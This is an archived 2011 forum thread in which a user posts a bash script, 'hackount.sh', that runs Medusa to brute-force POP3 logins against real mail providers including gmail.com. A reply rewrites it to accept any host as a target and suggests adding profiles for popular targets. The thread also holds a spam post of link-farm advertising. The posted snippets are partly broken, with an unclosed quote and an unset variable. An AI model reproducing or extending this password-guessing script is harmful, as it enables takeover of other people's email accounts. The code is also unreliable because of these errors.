PDA

View Full Version : test_my_script_hackount.sh



zimmaro
11-28-2011, 11:24 AM
Hey, guys
after seeing some of you will create beautiful bash script I decided( overcoming the barrier of my ignorance)to"launch into this beautiful world "....... maybe it was better than I" launched "from the balcony:) muahahahah!
The intent was to create [my first] a (simple + basic) bash script to bruteforce the e-mail account (pop3 server) that are used by my areas (for test-hack my account)
his name is HACKOUNT.SH!
I state to be the inexperienced to shell scripting but eager to learn !!!:) [i'm a old IT goat]:)
the sentence to you: http://pastebin.com/0Bc0nv1w
to watch video to test it: http://vimeo.com/32775667
thanks! zimmaro

shadowzero
11-28-2011, 12:24 PM
A couple of tips: instead of calling medusa for each host in each case, just get the host using case and pass that to medusa. There's also no need to >root.txt if you're just going to rm it in the next line.



host=""
echo -n ' mail server to attack A(alice.it) or T(tiscali.it) or G(gmail.com) ? '
read mail
case $mail in
A) host="in.alice.it ;;
T) host="pop.tiscali.it";;
G) host="gmail.com";;

*)
sleep 1
echo " ****COMMAND NOT SUPPORTED**** "
esac

rm crack.txt
xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt -O /root/crack.txt -P pass.txt -f -M pop3
xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo " BYE look at crack.txt-window"


Since host is the only variable that changes (from what I can tell in your script), then the above should work just fine.

If you want to make your code even more concise and support more hosts without having to change the script, consider passing the host as the parameter to the script:



#!/bin/bash
if [[ -z ${1} ]]; then
echo "usage: `basename ${0}` host"
exit 0
fi
rm crack.txt
xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt -O /root/crack.txt -P pass.txt -f -M pop3
xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo " BYE look at crack.txt-window"


Now you're not limited to the three hosts you hardcoded, and anyone who uses your script can specify their own target through the command line:

hackount.sh example.com


Good luck.

zimmaro
11-28-2011, 10:16 PM
hi ,shadowzero:)
thank you very much for your advice, explanations & improvements try to put in place in the future!!
Thanks!
one thing: the commands to "MEDUSA" all are not equal (pop3 server)
in some cases change the doors (995.110 [default]), the connections with ssl yes / no & in some cases some "server" (i think https) attempts to " concurrent connection" work before the server"""go down""
(sorry my language I hope that I was well expressed)
thanks again zimmaro

phimhd
11-29-2011, 04:08 AM
thanks for advice

chep phim hd (http://phimhdzone.vn) dau hd (http://hdzone.vn) dau phat hd (http://hdzone.vn/san-pham/du-phat-hd/536.hd) hd player (http://hdzone.vn/san-pham/du-phat-hd-hd-player/536.hd) hd player (http://hdzone.vn/tin-chi-tiet/chon-dau-phat-hd-htpc-hd-player-box-bluray-player/82.hd) phu kien iphone (http://hdzone.vn/san-pham/phu-kien-iphone/597.hd) hdd box (http://hdzone.vn/san-pham/hdd-box/558.hd) denon 1312xp (http://hdzone.vn/chi-tiet-san-pham/denon-dht-1312xp/970.hd) himedia hd900B (http://hdzone.vn/chi-tiet-san-pham/himedia-hd900b/987.hd) phu kien ipad iphone (http://hdzone.vn/san-pham/phu-kien-ipad-iphone/596.hd) phim 3d (http://phimhdzone.vn/index.php?fuseaction=FILM_LIST&rd=23223&hdn_cat_code=25&hdn_hide=block_film&hdn_film_order) chep phim (http://phimhdzone.vn) hdd dock (http://hdzone.vn/san-pham/hdd-dock/559.hd) tizzbird F30 (http://hdzone.vn/chi-tiet-san-pham/tizzbird-f30/981.hd) slim s1 (http://hdzone.vn/chi-tiet-san-pham/tvix-slim-s1/886.hd) dvico tvix (http://hdzone.vn/san-pham/dvico-tvix/540.hd) huong nghiep (http://tuvanvala.com) tu van tam ly (http://khamphabanthanvala.com) dune hd duo (http://hdzone.vn/chi-tiet-san-pham/dune-hd-duo/915.hd) himedia hd600B (http://hdzone.vn/chi-tiet-san-pham/himedia-hd600b/965.hd) dune hd max (http://hdzone.vn/chi-tiet-san-pham/dune-hd-max/903.hd) phim ipad (http://phimhdzone.vn/index.php?fuseaction=FILM_LIST&mn=imovie&rd=26393&hdn_hide=block_film&hdn_is_imovie=1&hdn_film_order=)
copy phim hd (www.phimhdzone.vn) chep phim hd (http://www.phimhdzone.vn) kho phim hd khong lo (www.phimhdzone.vn) kho phim hd tong hop (www.phimhdzone.vn/index.php?fuseaction=FILM_LIST&rd=1240510434&hdn_hide=block_film&hdn_film_order=) phim an khach (www.phimhdzone.vn/index.php?fuseaction=FILM_LIST&rd=956841907&hdn_cat_code=19&hdn_hide=block_film&hdn_film_order=) phim doat giai (www.phimhdzone.vn/index.php?fuseaction=FILM_LIST&rd=1447681013&hdn_cat_code=22&hdn_hide=block_film&hdn_film_order=) phim phai xem (www.phimhdzone.vn/index.php?fuseaction=FILM_LIST&rd=27101313&hdn_cat_code=17&hdn_hide=block_film&hdn_film_order=) chep phim 3D (www.phimhdzone.vn/index.php?fuseaction=FILM_LIST&rd=1285811440&hdn_cat_code=25&hdn_hide=block_film&hdn_film_order=) chep phim ipad (www.phimhdzone.vn/index.php?fuseaction=FILM_LIST&mn=imovie&rd=1671975888&hdn_hide=block_film&hdn_is_imovie=1&hdn_film_order=) phim hd chat luong cao (www.phimhdzone.vn) phim hd hanh dong (www.phimhdzone.vn)

shadowzero
11-29-2011, 07:24 PM
Ah my mistake, I didn't notice that. If the options can vary that much, maybe you could create a configuration file that contains profiles for specific targets. That way users can add their own target settings and select their targets from a menu and it could contain pre-configured settings for popular targets. Something to think